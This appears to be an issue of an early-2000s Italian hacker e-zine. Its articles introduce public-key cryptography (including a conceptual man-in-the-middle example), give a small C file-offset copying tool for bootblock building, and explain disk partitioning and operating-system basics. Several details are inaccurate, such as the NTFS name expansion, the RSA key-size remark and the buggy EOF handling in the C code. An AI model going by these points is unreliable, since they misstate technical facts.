| Il concetto di crittografia a chiave pubblica fu introdotto nel 1976 da |
| Whitfield Diffie e da Martin Hellman.. |
| Come funziona dunque questo sistema? Semplicemente ogni persona ha una |
| coppia di chiavi, una pubblica ed una privata (chiave privata e chiave |
| segreta sono sinonimi). |
| La chiave pubblica di ciascuna persona e' pubblicata ed accessibile |
| a tutti - in modo che chiunque la voglia usare lo possa fare - mentre la |
| chiave privata e' tenuta segreta. Nessuna informazione segreta deve |
| viaggiare dal mittente al ricevente. Cosi', se vuoi comunicare con |
| qualcuno crittografando il messaggio, tutto quello che si deve fare e' |
| usare la sua chiave pubblica. |
| Il ricevente di tale messaggio, puo' poi decifrarlo usando la sua chiave |
| privata. Esiste quindi un legame tra la chiave pubblica e la sua |
| corrispondente chiave privata. |
| Nessuno puo' recuperare la chiave privata dalla sua corrispondente |
| chiave pubblica :) Cosi', solo il destinatario prestabilito puo' |
| decifrare un messaggio a lui indirizzato tramite la sua chiave privata! |
| bello no? :D Beh, purtroppo c'e' un problema: la chiave pubblica è |
| associata al reale destinatario a cui voglio inviare un messaggio |
| crittografato? |
| Per esempio: voglio rendere pubblica la mia chiave "VenInside". |
| La metto sulla rete e dico: "Salve! Questa e' la mia chiave pubblica: |
| "VenInSide". Mandami un messaggio..". |
| Poi qualcuno "Cattivo :D", cambia la mia chiave pubblica con la sua |
| chiave pubblica (fake mail, social engeenering, ecc). |
| "hack". Cosi' il mio messaggio diventa: 'Salve! Questa e' la mia chiave |
| pubblica: "Hack" ...Mandami un messaggio!' |
| ....Ora supponiamo che tu voglia inviarmi un messaggio cifrato. |
| Tu non conosci la mia chiave pubblica reale (ossia "VenInside") e credi |
| che la mia chiave sia "Hack". |
| Cosa succede? ovviamente.. quel tipo "Cattivo :D" puo' intercettar il |
| messaggio, decifrarlo tramite la sua chiave privata (puo' farlo, perch |
| tu hai cifrato il messaggio tramite la sua chiave pubblica "Hack"), lo |
| legge, e poi lo cifra nuovamente usando la mia chiave pubblica questa |
| volta. Cosi' io ricevo il tuo messaggio e lo decifro tramite la mia |
| chiave privata (che nessun altro tranne me conosce!) e nessuno si |
| accorge di niente! Percio', e' importante essere sicuri di una chiave |
| pubblica prima di usarla. :) In altre parole si potrebbe dire che |
| quella chiave pubblica deve essere autenticata.... |
| Si potrebbe fare ancora un esempio per farvi capire i sistemi |
| crittografici: |
| Consideriamo la crittografia di questo tipo come una sorta di valigetta |
| a 2 lucchetti.. Supponendo che l'utente A, deve mandare all'utente B |
| delle informazioni preziose, pero' senza correre il rischio che la chiave|
| venga "scoperta" mentre questa viene comunicata a B; si potrebbe |
| adottare un metodo diverso. |
| Supponiamo che A abbia la valigetta. A con la sua Chiave chiude il |
| lucchetto 1 e spedisce la valigetta sicura e chiusa a chiave, a B. |
| A questo punto l'utente B ha ricevuto la valigia e non fara' altro che |
| chiudere il secondo lucchetto 2 con la sua chiave (diversa da quella |
| di A), per poi rispedire la valigetta ad A. |
| Fatto cio' l'utente A si ritrova la valigetta questa volta pero con tutti|
| e due i lucchetti chiusi. Quindi A dovra' aprire il suo lucchetto chiuso |
| in precedenza, per poi rispedire la valigetta (sicura perche il |
| lucchetto 2 e' chiuso) al utente B. |
| Finalmente B ha ricevuto la valigetta con un lucchetto solo chiuso, |
| ossia proprio quello che solo lui puo' aprire, in quanto era stato |
| chiuso da lui stesso in precedenza :) |
| Tutto questo "casino", potrebbe sembrare esagerato e molto lungo, ma |
| oggi come oggi i tempi di comunicazione e di elaborazione sono molto |
| pi bassi.... quindi tutto cio' e' possibile! |
| Ecco risolto il problema di dovere comunicare al destinatario la chiave |
| per decifrare. :) |
| Adesso che spero abbiate le idee un po' piu chiare sulla differenza tra |
| Crittografia convenzionale e Crittografia a Chiave pubblica.. direi di |
| inziare con la teoria vera e propria! :) |
| La crittografia a chiave pubblica trova la sua applicazione per scopi di |
| autenticazione dei messaggi e di distribuzione delle chiavi. |
| In un sistema crittografico a chiave pubblica (a differenza di quelli a |
| chiave privata), il mittente ed il ricevente del messaggio non devono |
| conoscere la stessa chiave. |
| Infatti usano 2 coppie di chiavi ciascuno: una chiave pubblica ed una |
| privata. |
| La cifratura a chiave pubblica e' stata proposta per la prima volta da |
| Diffie e Hellman nel 1976 e rappresenta il primo rivoluzionario passo |
| avanti compiuto nel campo della crittologia. |
| Uno dei motivi principali e' che gli algoritmi a chiave pubblica si |
| basano su sequenze matematiche, piuttosto che su semplici operazioni |
| matematiche applicate su una sequenza di bit. |
| L'elemento principale che distingue i due tipi di crittografia |
| (simmettrica -> convenzionale e asimmetrica -> chiave pubblica) e' |
| appunto il fatto che la crittografia di tipo convenzionale utilizza una |
| sola chiave uguale per tutti. |
| Mentre nel caso della crittografia a chiave pubblica si riscontra un |
| caso asimmetrico, dove appunto esistono 2 chiavi distinte. |
| La cifratura a chiave pubblica e' considerata piu' efficace e più |
| resistente alla crittoanalisi, di quella convenzionale. :) |
| Uno schema a chiave pubblica ha bisogno di 6 componenti principali: |
| 1) Testo in chiaro: dati leggibili in ingresso all'algoritmo. |
| 2) Algoritmo di cifratura: come gia' spiegato esegue delle straformazioni|
| sultesto in chiaro crittografandolo. |
| 3) Chiave Pubblica / Privata: coppia di chiavi scelte in modo che una |
| venga utilizzata per la cifratura e l'altra per la decifratura. |
| Le trasformazioni infatti dipendono dalla chiave inserita in |
| ingresso. |
| 5) Testo Cifrato: messaggio prodotto come risultato della cifratura, |
| questo dipende dalla chiave messa. |
| 6) Algoritmo di decifratura: riceva il testo cifrato e tramite la |
| corretta chiave produce il testo in chiaro originario. |
| Come e' anche evidente dai nomi degli elementi,la chiave pubblica è |
| conosciuta da tutti mentre la chiave privata e' conosciuta solamente dal |
| legittimo proprietario delle chiave. :) |
| Vediamo ora passo passo, i passi fondamentali di questi sistemi: |
| 1) Tutti gli utenti generano una coppia di chiavi, da usare per la |
| cifratura e per la decifratura dei messaggi. |
| 2) Ogni utente mette una delle sue chiavi in un registro pubblico in |
| qualche altro file accessibile pubblicamente (chiave pubblica), |
| mentre l'altra viene mantenuta segreta (chiave privata). |
| 3) Supponendo che un utente A voglia spedire un messaggio cifrato a un |
| altro utente B, allora l'utente A non fara' altro che cifrare il |
| testo in chiaro del messaggio, utilizzando la chiave pubblica del |
| utente B. |
| 4) Una volta che l'utente B riceve il messaggio, lo decifra utilizzando |
| la chiave propria chiave privata. Nessun altro utente puo' decifrarlo |
| inquanto solo l'utente B conosce la chiave segreta. |
| |
| Grazie all'utlizzo di questo metodo tutti gli utenti hanno accesso alle |
| chiavi pubbliche, mentre le chiavi private sono generate dallo stesso |
| utente, quindi non c'e' mai necessita' di distribuirle. |
| Fino a che l'utente in questione tiene segreta la propria chiave |
| privata, si puo' dire che i messaggi diretti a lui sono "sicuri". |
| In qualsiasi momento un utente puo' cambiare la chiave privata e rendere |
| pubblica la nuova chiava pubblica a essa correlata. |
| Segue ora un semplice schema che rappresenta la cifratura a chiave |
| pubblica. |
| ____________________________________________________________________ |
| ( ) |
| ( Il keyring delle chiavi pubbliche di un utente di nome Gianni ) |
| ( comprende quelle di di Gianni, Andrea, Simone e Fabbio. :D ) |
| (_________________________|__________________________________________) |
| | |
| | |
| .--------. k. pubblica GIANNI K. Privata Gianni .--------. |
| | Testo | |^^^^^^^^^^^| |^^^^^^^^^^^^^| | Testo | |
| | | | Algoritmo | T.Cifrato | Algoritmo | | | |
| | in |==>>| |--->------>| |==>>| in | |
| | | | Cifratura | Trasmesso | Decifratura | | | |
| | Chiaro | |___________| |_____________| | Chiaro | |
| |________| algo. cifratura algo. decifratura |________| |
| |
| (Cifratura) |
| >>> |
| _____________________________________________________________________ |
| ( ) |
| ( Il keyring delle chiavi pubbliche del utente destinatario -> Carlo ) |
| ( comprende quelle di di Carlo, Andrea, Simone e Fabbio. :D ) |
| (_________________________|___________________________________________) |
| | |
| | |
| .--------. k. privata CARLO K. Pubblica CARLO .--------. |
| | Testo | |^^^^^^^^^^^| |^^^^^^^^^^^^^| | Testo | |
| | | | Algoritmo | T.Cifrato | Algoritmo | | | |
| | in |==>>| |--->------>| |==>>| in | |
| | | | Cifratura | Trasmesso | Decifratura | | | |
| | Chiaro | |___________| |_____________| | Chiaro | |
| |________| algo. cifratura algo. decifratura |________| |
| |
| (Autenticazione) |
| |
| Prima di poter proseguire e' importante, chiarire un aspetto |
| fondamentale di questo sistema di crittografia. I sistemi a chiave |
| pubblica sono caratterizzati da un algoritmo di cifratura con due chiavi |
| una mantenere segreta e una pubblica (disponibile pubblicamente). |
| A seconda del l'applicazione, il mittente utilizza la propria chiave |
| privata o quella pubblica del destinatario o in certi casi entrambe. |
| E' Infatti possibile classificare l'uso di questi dei sistemi |
| crittografici in tre categorie principali. |
| (Non vi spaventate se non capite sta tabella, perche' segue |
| un commento) |
| |
| .__________Appl._sistemi_di_Crittografia_a K._Pubblica___________. |
| |----------------.--------------.------------------.-------------. |
| | | | | Scambio di | |
| | Algoritmo | Cifr/Decifr | Firma Digitale | Chiavi | |
| |================|==============|==================|=============| |
| | RSA | si' | sì | sì | |
| |________________|______________|__________________|_____________| |
| | | | | | |
| | Diffie-Hellman | no | no | si' | |
| |________________|______________|__________________|_____________| |
| | | | | | |
| | DSS | no | si' | no | |
| |________________|______________|__________________|_____________| |
| | | | | | |
| | Curve Ellit. | si' | sì | sì | |
| |________________|______________|__________________|_____________| |
| .----------------------------------------------------------------. |
| |
| Spieghiamo ora questo semplice schema riassuntivo. |
| La tabella e' composta da 4 colonne. Il significato della prima ormai |
| l'avete capito (Algoritmo) :) |
| Per Cifratura/Decifratura intendo che il mittente cifra un messaggio |
| con la chiave pubblica del ricevente. |
| La Firma Digitale: il mittente "firma" il messaggio con la propria |
| chiave privata. La firma si ottiene attraverso un algoritmo di cifratura |
| applicato al messaggio o a un piccolo di dati. |
| Infine per Scambio Di Chiavi: le due parti collaborano al fine di |
| scambiarsi una chiave di sessione. |
| Sono possibili differenti approcci che fanno uso delle chiavi private di |
| una o di entrambe le persone. |
| Alcuni algoritmi sono adatti per tutte le tre applicazioni mentre altri |
| possono essere usati solamente per una o due di queste applicazioni. |
| Nella mia tabella ho infatti voluto riportare quali sono le possibili |
| applicazioni per alcuni degli algoritmi: RSA, Diffie Hellman, DSS e |
| Curve ellittiche.... Capito ora a che serve sta tabella? :) |
| |
| Esistono vari tipi di sistemi a chiave pubblica: RSA, ELGAMAL, Curve |
| Ellittiche, DSS, KNAPSACK, LUC, McEliece, Probabilistic encryption.... |
| (Di seguito vi propporro' un breve commento su ogninuo di questi |
| algoritmi, per quel che riguarda eventuali algoritmi o programmi in C |
| che vi spieghino l'algoritmo in modo dettagliato vi conisiglio di |
| andare su google e provare a cercarli visto che e' pieno... nel caso non |
| riusciste a trovare nessun sorgente o altro mandatemi una mail vedro' se |
| posso aiutarvi....visto che qualche specifica e programmuzzo in C l'ho |
| trovato). |
| |
| **-RSA-** |
| L'RSA e' un sistema crittografico sia per la cifratura che per la |
| autenticazione sviluppato nel 1977 da Ron Rivest, Adi Shamir e |
| Leonard Adleman al MIT. |
| Questo algoritmo e' basato sul problema della fattorizzazione. |
| L' RSA e' solitamente combinata insieme ad un algoritmo a chiave privata |
| come il DES per esempio. Infatti il DES e' molto piu' veloce dell' RSA. |
| L' RSA fornisce dimensioni di chiavi sino a 2048 bit (vedi RSA-129). |
| Di questo algoritmo sono riuscito a trovare anche la spiegazione |
| matematica, o meglio i passaggi matematici dell'algoritmo ma direi di |
| tralasciarli visto che servono alcuni concetti di matematica che manco |
| io so granche' bene, quindi figuriamoci spiegarveli. Comunque nel caso |
| vi interessasse vi invito a cercarvelo e studiarlo. :) |
| |
| **-ELGAMAL-** |
| ELGAMAL e' un algoritmo di cifratura basato sul problema dei logaritmi |
| discreti. |
| Analisi mostrano come ELGAMAL e RSA abbiano una sicurezza simile per |
| lunghezze di chiavi equivalenti. Comunque l' algoritmo ELGAMAL e' piu' |
| lento di quell dell' RSA. |
| |
| **-Curve Ellittiche-** |
| Il sistema delle curve ellittiche e' un algoritmo simile all' RSA e al |
| ELGAMAL, ma e' basato sull' operazione di addizione di curve ellittiche. |
| (Ahia! la matematica e' proprio pesantuccia qui :D) |
| |
| **-DSS-** |
| DSS e' stato pubblicato dal NIST (National Institute of Standards and |
| Technology). Questo e' conosciuto come DSS (Digital Signature Standard) |
| e fa uso del algoritmo Sha-1 proponendo una nuova tecnica di firma |
| digitale DSA (Digital Signature Algorithm). Questo sistema DSS fu |
| proposto nel 1991 e revisionato nel 1993 per rispondere a feedback |
| relativi alla sicurezza dello schema. |
| |
| **-KNAPSACK-** |
| Il sistema crittogrtafico Merkle-Hellman KNAPSACK fu sviluppato nel |
| 1978. E' basato sul problema delle sottosomme della matematica |
| combinatoria. |
| |
| **-LUC-** |
| LUC e' un sistema crittografico sviluppato da un gruppo di ricercatori |
| in Australia e Nuova Zelanda. E' basato sulle sequenze Lucas. |
| |
| **-McEliece-** |
| McEliece e' unsistema crittografico basato sulla teoria della codifica |
| algebrica. |
| |
| **-Cifratura Probabilistica-** |
| La cifratura probabilistica e' un differente approccio alla cifratura |
| scoperto da Goldwasser e Micali. A differenza dei sistemi convenzionali, |
| qui un messaggio e' codificato in uno dei molti testi cifrati possibili. |
| |
| Bene anche la parte di Crittografia a Chiave Pubblica e' conclusa anche |
| se nel prossimo capitolo intendo ancora dedicare uno spazio alle Firme |
| Digitali.... quindi in realta' l'argomento e' ancora aperto. :) |
| |
| Come gia' detto all'inizio della guida.... ho dovuto dividerla in tre |
| tre parti, quindi per questa "puntata" basta cosi. :) |
| Nella prossima parte affronteremo questi argomenti: |
| |
| - Firma Digitale e informazioni sui principali algoritmi |
| - Funzioni Hash (qualche concetto, MD2,MD4,MD5,SHA e SHA-1) |
| - Sistemi di Autenticazione (qualche concetto sul Kerberos ecc) |
| - Sicurezza della posta elettronica (PGP, S/MIME, ecc) |
| - Protocolli generali di Sicurezza su Internet (S-HTTP, SSL, PCT,S/WAN) |
| - Commercio Elettronico (IKP, SET, Secure Courier) |
| |
| Per eventuali consigli, correzioni, insulti o altro scrivetemi a |
| songoten@mojodo.cjb.net ....Grazie e Ciao! :) |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 |
| CUTH [warfare] 0x13/0x23 |
+--------------------------------------------------------------------------+
| |
| warfare /* > |
| $Intro> |
| Salve boyz, nel numero precedente di OndaQuadra c'era un articolo di |
| Alexander The Great nel quale descriveva in modo fantasticamente |
| dettagliato il modo per fare un bootblock, e se ci sono riuscito io ci |
| puo' riuscire chiunque.. (:-P) |
| $Problema> |
| Come dice un mio proffo "Qual'je u' problem?!.." (Qual e' il problema) |
| (lol) bene che nel suo articolo erano indispensabili due programmi |
| (oltre al tasm), uno per eliminare gli header dei file exe dopo avre |
| tasmato e tlinkato il codice assembler del bootstrap loader e uno per |
| inserire nel CHS 001 del floppyno il nostro lavoretto di natale :-). |
| Io ho cercato per un po' di tempo (2 gg.) il chophead ma nn son riuscito |
| a trovarlo in rete.. forse anche xche' iniziavo a cercarlo e poi mi |
| scordavo cosa stavo facendo..;) tanto che ho detto ...bhe' mo provo a |
| farmene uno io...e cosi' |
| dopo un po di scervellamento sono riuscito a ottenere un equivalente.. |
| di cui vi riporto il codice qui sotto fra qualke riga.. L'ho provato e |
| ha funzionato e dopo un po' ho letto sotto l'articolo e ho visto che |
| c'era l'URL del sito di Alex.. Ho detto "Kappro' stava li'" :-( cmq.. il |
| programma e' semplicissimo.. |
| (come dice sempre il mio proffo("A prova di imbecilli :-P %s", |
| "rotfl");) apre il file in rb (file binario in lettura) e si posiziona |
| al numero di bytez passati in input e da quel punto in poi va a scrivere |
| sul file di output... |
| eccovi qui sotto lo snip snip 8< 8< |
| $Dediche> |
| $. josh, focuz, lesion, snip, nick1, eva(^bia^), trimlanda, |
| BigAlex,^Spider^, ^[Case]^, [chr], AnarKya, protheus, c3ntoq, TripTrip e |
| nn mi ricordo + :) |
| */ |
| //8<-------8<-------8<---[Cut here]---8<-------8<-------8<// |
| #include <stdio.h> |
| void main(int argc, char *argv[]) |
| { |
| FILE *fp; |
| FILE *fpz; |
| char ch; |
| long nbyte; |
| /* controllo parametri*/ |
| printf("8<----------8<------[Cut here]------8<----------8<\n"); |
| printf("8<\t\twArFaRe - CutHere\t\t8<"); |
| printf("\n8<----------8<------[Cut here]------8<----------8<\n"); |
| if(argc != 4){ |
| printf("\nUsare %s <NomeFileI>, <Bytez>, <NomeFileO>\n", argv[0]); |
| exit(1); /* Se il numero parametri e' sbagliato esce */ |
| } |
| if(!strcmp(argv[1], argv[3])){ |
| printf("Error> Il file di input non deve coincidere con il file di |
| output.\n"); |
| exit(1); |
| } |
| /* apertura del file passato come parametro */ |
| if((fp=fopen(argv[1], "rb")) == NULL){ |
| printf("\nErrore di apertura file\n"); |
| exit(1); /*Se si verifica un errore nell'apertura del file esce*/ |
| } |
| /*Trasformo in long argv[2] perche' la sintassi di fseek e' |
| int fseek(FILE *, long, int); */ |
| nbyte = atol(argv[2]); |
| /*mi posiziono sulla nbytesima.. :-P*/ |
| fseek(fp, nbyte, 0); |
| printf("\nFile Input:\t %s", argv[1]); |
| /* apro il file di output..*/ |
| if((fpz=fopen(argv[3], "wb")) == NULL){ |
| printf("\nErrore di apertura file\n"); |
| exit(1); /*Se si verifica un errore nell'apertura del file esce*/ |
| } |
| printf("\nFile Output:\t %s", argv[3]); |
| /*finche' non finisce il file gli scrivo */ |
| while(ch!=EOF){ |
| ch = getc(fp); |
| if(ch==EOF) |
| exit(1); |
| fprintf(fpz,"%c",ch); |
| } |
| /*Chiudo i filez*/ |
| fclose(fp); |
| fclose(fpz); |
| /*Finish :-P*/ |
| } |
| // wArFaRe 8.37.24 25.11.02 Cut Here |
| //8<-------8<-------8<---[Cut here]---8<-------8<-------8<// |
| |
| [NdR: Vedi allegato numero 0x04] |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 |
| Ti FACCi0 A FETTE L'ACCADi [bondo] 0x14/0x23 |
+--------------------------------------------------------------------------+
| |
| Oggi sono andato al libraccio per cercare i libri di scuola e non e' ho |
| trovato neanche uno! Luke, che la forza sia con te (cosi' la sfiga la |
| mandiamo a qualcun'altro). |
| Vabe', dopo questo piccolo fuoritema, torniamo a noi. - 'spettate che |
| cambio cd............................................................. |
| ...........................e' una scelta difficile.................... |
| ...................................................................... |
| .............ok, vada per i PORNO*RiViSTE (GIOVEDi' SERA VOGLIO ANDARE |
| AL CONCERTO!!!!!!!! BUT MUMMY DON'T WANT!). |
| Si diceva (a parte che non l'ho mai detto, ma sorvoliamo) che visto che |
| non so cosa scrivere e visto che qualcuno mi ha detto che doveva |
| comprare un altro disco fisso per poter montare linux, spieghiamo un |
| attimo come ottimizzare al meglio un disco fisso per ospitare un sistema |
| operativo in generale (noi non siamo razzisti!). |
| Anzitutto, credo bisogni introdurre il concetto di partizione (se sapete |
| gia' cosa sia, scrollate un po' avanti). Una 'partizione' non e' |
| nient'altro che una 'porzione' di un disco duro (hard disc) che funziona |
| come fosse un disco fisso a se stante: per rendere l'idea, facciamo un |
| esempio 'user friendly' - in 'risorse del computer' di windows, per ogni |
| partizione vi compare l'icona del disco fisso e la sua lettera associata |
| (C:, D:, E:, ...). |
| Le partizioni, essendo indipendenti tra loro, possono essere formattate |
| con file system differenti l'una dall'altra, quindi su un disco fisso |
| possono 'coabitare' piu' sistemi operativi - il caso piu' classico e' |
| quello UTENTE-LINUX-CON-WINMODEM-COSTRETTO-A-WINDOWS-PER-COLLEGARSI-A- |
| -INTERNET. |
| Esistono diversi tipi di file system (poteva mancare un elenco? certo |
| che no!): |
|
|
| - FAT File Allocation Table, quella del dos e di win fino alla '95/OSR2 |
| (credo) |
| - FAT32 File Allocation Table 32, dal win '95/OSR2 in avanti |
| (il '98 di sicuro) |
| - NTFS Network Technology File System, winNT |
| - HPFS High Performance File System, OS/2 |
| - NetWare File System, NetWare server della Novell |
| - Linux Ext2 e Linux Swap, per linux (ovviamente) |
| |
| Sicuramente ce ne saranno altre, ma tutte quelle che conosco sono li' |
| sopra. Perche' non un file system comune a tutti? be', perche' alla |
| maicrostof pensano che il loro sia il migliore ma neanche loro hanno |
| capito bene quale dei tre, perche' per quello di linux non bisogna |
| pagare, perche' ognuno fa come vuole e chi ha i soldi lo fa fare anche |
| agli altri. Ovviamente esistono delle differenze che sostanzialmente si |
| basano su come sono organizzati i cluster (i pezzettini di disco che |
| contengono i file). |
| Ma questo cosa centra su come ottimizzare un disco fisso? Proprio |
| niente, quindi torniamo sulla dritta via che nel mezzo del cammin di |
| nostra vita era smarrita. Esaminiamo un computer appena comprato (evvai, |
| adesso si disegna!). |
| Come tutti ci aspettiamo, cosa troviamo come sistema operativo gia' |
| preinstallato? ecco, bravi, avete indovinato! un windows (UN?!?! eh, |
| gia', un cane, un canarino, un windows). |
| E il disco fisso come e' organizzato? Cosi': |
| |
| |
| +----------------------+0gb |
| | | |
| | | |
| | | |
| | c:\ [windows] | |
| | | |
| | | |
| | | |
| +----------------------+40gb |
| |
| |
| eh, gia' 40gb per windows - da 540mb non ne fanno + (puah!). |
| no, no, cosi' non va bene. Tanto per cominciare, io odio la cartella |
| documenti (che cosa vuol dire? un mp3 che documento puo' essere?) e poi |
| se devo fare il backup devo stare li' a setacciare in mezzo a migliaia |
| di cartelle i miei dati (e che cazzo, chiamatelo 'Dati' |
| quello schifo di folder nel prossimo WindowsST - cos'e' ST? beh, |
| StarTreknology - ormai tutti i nomi piu' cazzuti li hanno gia' usati, |
| tipo WindowsMillenniumEdition, Windows2001:SpaceOdissey). Io voglio i |
| miei dati tutti in un posto dove siano velocemente e facilmente |
| reperibili, quindi: |
| |
| |
| +----------------------+0gb |
| | | |
| | | |
| | c:\ [windows] | |
| | | |
| | | |
| +----------------------+20gb |
| | | |
| | | |
| | d:\ [dati] | |
| | | |
| | | |
| +----------------------+40gb |
| |
| |
| Secondo: io molto spesso riverso audio da audiocassette e 33giri su cd |
| (cosa non si fa per guadagnarsi di che vivere - RAGAZZi: COPiARE UNA |
| CASSETTA SU CD E' TANTO iLLEGALE QUANTO DUPLiCARE UN CD, A MENO CHE CiO' |
| NON AVVENGA PER MOTiVi Di BACKUP O Di SiCUREZZA), e poi adesso che ci |
| siamo messi a registrare le nostre canzoni con il gruppone punkettone |
| (se volete ascoltare un paio di nostre canzoni, ve le mando in mp3), mi |
| servono sempre 800mb per metterci i file da masterizzare e percio': |
| |
| |
| +----------------------+0gb |
| | | |
| | | |
| | c:\ [windows] | |
| | | |
| | | |
| +----------------------+20gb |
| | d:\ [cdtemp] | |
| +----------------------+21gb |
| | | |
| | | |
| | e:\ [dati] | |
| | | |
| | | |
| +----------------------+40gb |
| |
| |
| la soluzione di una partizione apposita per i file da masterizzare e' |
| particolarmente vantaggiosa, perche' si evita di copiare file in una |
| porzione di disco che potrebbe risultare eccessivamente frammentata, |
| mentre cosi' prima di masterizzare si da una formattata veloce e si va |
| via sicuri. Possiamo aumentare ancora un po' le prestazioni creando una |
| partizione per il file di swap della memoria virtuale: |
| |
| |
| +----------------------+0gb |
| | | |
| | | |
| | c:\ [windows] | |
| | | |
| | | |
| +----------------------+20gb |
| | d:\ [cdtemp] | |
| +----------------------+21gb |
| | | |
| | | |
| | e:\ [dati] | |
| | | |
| | | |
| +----------------------+39gb |
| | x:\ [winswap] | |
| +----------------------+40gb |
| |
| |
| Se proprio vogliamo esagerare, facciamoci una partizione solo per i |
| programmi, tanto non abbiamo limiti al numero di partizioni (mi sembra |
| ma non ne sarei tanto sicuro - se ne era parlato una volta, ma i ricordi |
| sono molto vaghi). |
| Come mi ha fatto notare piu' volte il prof di info di quest'anno, |
| suddividendo cosi' il disco fisso si velocizzano le operazioni di backup |
| e restore dei dati. Esistono dei programmini tipo DriveImage o Ghost che |
| permettono di fare copie 1:1 o anche compresse di intere partizioni e |
| anche di splittarle in file da 650mb per poter essere masterizzate. |
| |
| Ah, usate anche linux? No problem. |
| |
| |
| +----------------------+0gb |
| | | |
| | c:\ [windows] | |
| | | |
| +----------------------+10gb |
| | d:\ [cdtemp] | |
| +----------------------+11gb |
| | x:\ [winswap] | |
| +----------------------+12gb |
| | | |
| | \ [linux] | |
| | | |
| +----------------------+20gb |
| | [linux swap] | |
| +----------------------+22gb |
| | | |
| | e:\ [dati] | |
| | | |
| | | |
| +----------------------+40gb |
| |
| |
| Vorrei far notare che se si sfascia il disco perche' vi rotola il |
| computer giu' dalle scale, vanno a quel paese (ma poi, qualcuno sa dirmi |
| dov'e'? c'e' tanta gente che conosco laggiu') |
| tutte le partizioni e vorrei anche aggiungere che se avete un secondo |
| disco fisso, mette separati sistema operativo e swap per incrementare un |
| pochino le prestazioni. |
| |
| E come faccio a partizionare il mio disco fisso? Se siete alle prime |
| armi e volete impratichirvi, vi consiglio un programma tipo |
| PartitionMagic che e' semplice da usare e mostra graficamente come e' |
| organizzato il disco fisso. Ha delle procedure guidate che ti 'prendono |
| per mano' durante le modifiche e la creazione di una nuova partizione. |
| Oppure, ma non saro' io ad aprirvi la mente, usate fdisk o discdruid. |
| Direi che e' sempre buona norma fare una copia di backup dei dati prima |
| di stravolgere l'hd (specialmente se provate per la prima volta). |
| |
| Ah, e non pensiate che sia necessario un disco fisso da 40giga per |
| dividerlo cosi': io ho un 6gb in 6 partizioni. |
| |
| Adesso e' tardi e ce ne ho pieni i container di stare qui a scrivere, |
| quindi vi saluto e io me ne vado a letto. |
| |
| bye bye |
| |
| |
| -.~.-([ bondo ])-.~.- |
| |
| bondo@marijuana.com |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 |
| i SiSTEMi 0PERATiVi iN P0CHi SEMPLiCi PASSAGGi [BaBBeuZ] 0x15/0x23 |
+--------------------------------------------------------------------------+
| |
| Perche' un titolo simile? Semplice, adesso vi parlero' dei..... rullo di |
| tamburi (nn ho altro) ..... Sistemi Operativi!! Clap, clap..... si, le |
| fondamenta dei OS che tutti usano ma di cui molti ignorano il |
| funzionamento. Naturalmente e' un argomento abbastanza impegn. percio' |
| cerchero' di essere chiaro e sintetico. |
| |
| Definiz.= OS : insieme di programmi creati allo scopo di rendere |
| utilizzabili i dispositivi (device) e le risorse di |
| calcolo. Fin qui, nn ci piove. |
| |
| Naturalm. alla nascita un OS e' predisp. a utilizz. device conosciuti, |
| ma nn quelli futuri, che vengono implementati da soft che ne permettono |
| l'interazione, ossia i device driver. Ormai l'utilizzo di quest'ultimi |
| e' molto automatizzato, ancor + nel caso di disp. plug and play, il cui |
| significato (inserisci e usa) la dice lunga. |
| |
| Bisogna dire pero' che l'hardware e' regolato secondo standard |
| affermati, imposti di solito dalle case + importanti, o da istituti |
| internazionali quali l' ISO come e' avvenuto per CD-ROM e prossimamente |
| DVD-recorder, o addirittura da gruppi di lavoro specializzati. |
| |
| Ad un sistema pero' vanno attribuite varie caratteristice, ad esempio e' |
| necessario chiamarlo sistema aperto nel caso , come Unix, sia costituito |
| in modo da lavorare con dispositivi diversi e addirittura con terminali |
| diversi montanti CPU incompatibili tra loro. Lo stesso nn si puo' dire |
| di altri OS "minori" (o minorati) chiamati sistemi chiusi o |
| proprietari. |
| |
| L'utilizzo di altri dispositivi da parte del OS e' permesso da moduli |
| (procedura primitiva) che li "trasformano" in macchine virtuali, in modo |
| da farle eseguire + operazioni ma in modo logico anziche fisico. |
| Deduciamo quindi la definizione di modulo, che si riduce a: |
| |
| ---private sub Definizione(modulo as string) |
| collezione di routine che risolvono stessi tipi di probl. logici |
| attivando diversi meccanismi fisici. |
| ---end sub |
| |
| Un altro concetto e' la portabilita', cioe' la capacita' dell'OS si |
| essere eseguito da hardware diverso. Si spiegano percio' tutti i |
| problemi dei primi kernel unix e delle differenze apportate a minix. |
| |
| Passiamo ora alla diversificazione dei sistemi in monoprogrammati e |
| multiprogrammati. Per farla breve e molto chiara un sistema e' |
| monoprogrammato quando e' utilizzabile da un solo utente per volta, |
| mentre e' multiprog in contrario, in questo caso spetta al OS il compito |
| di riutilizzare il tempo inattivo per ovviare ai soliti problemi di |
| system overhead ed ottenere il max dalla CPU eliminando tempi morti. La |
| gestione delle risorse viene quindi gestita in time sharing (spezzone di |
| tempo) regolati da intervalli chiamati time slice. |
| |
| Ma tornando all'OS, vediamo un attimino l'architettura tipica: |
| ---------- ____ |
| 1-Hardware | |
| 2-Gestione de processore a basso livello | |
| 3-Gestione della memoria |->>> Nucleo o Kernel |
| 4-Gestione del processore ad alto livello | dell'OS |
| 5-Gestione dei dispositivi di I/O | |
| 6-Gestione delle informazioni ___| |
| 7-Programmi applicativi |
| 8-Spooling (code di stampa) |
| 9-Interprete |
| -----------(sembra chiaro) |
| |
| Importante e' capire il ciclo di vita di un processo in ambienti |
| multiprogrammati. |
| |
| |
| ........................ |
| ______ _____ ! ______ ____ ! __________ |
| | | | | ! | | | | ! | | |
| |Submit|----|Hold |--!--|Ready |----|Run |--!---| Complete | |
| |______| |_____| ! |______| |____| ! |__________| |
| ! / ! |
| ! / ! |
| ! ___/__ ! |
| ! | | ! |
| ! | Wait | ! |
| ! |______| ! |
| !----------------------! |
| |
| |
| Allora, vediamo un po' + analiticamente: |
| |
| Submit => tempo per elaborare le schede perforate (ora e' stato |
| eliminato in quanto nn esistono + ); |
| |
| Hold => coda: qui avviene l'attesa del rilascio delle risorse fisiche di |
| cui ha bisogno il processo per entrare nella fase di esecuzione; |
| |
| Ready => i programmi hanno avuto le risorse e sono pronte x l'esecuzione |
| (avviene la selezione dell'utente); |
| |
| Run => esecuzione del programma. |
| |
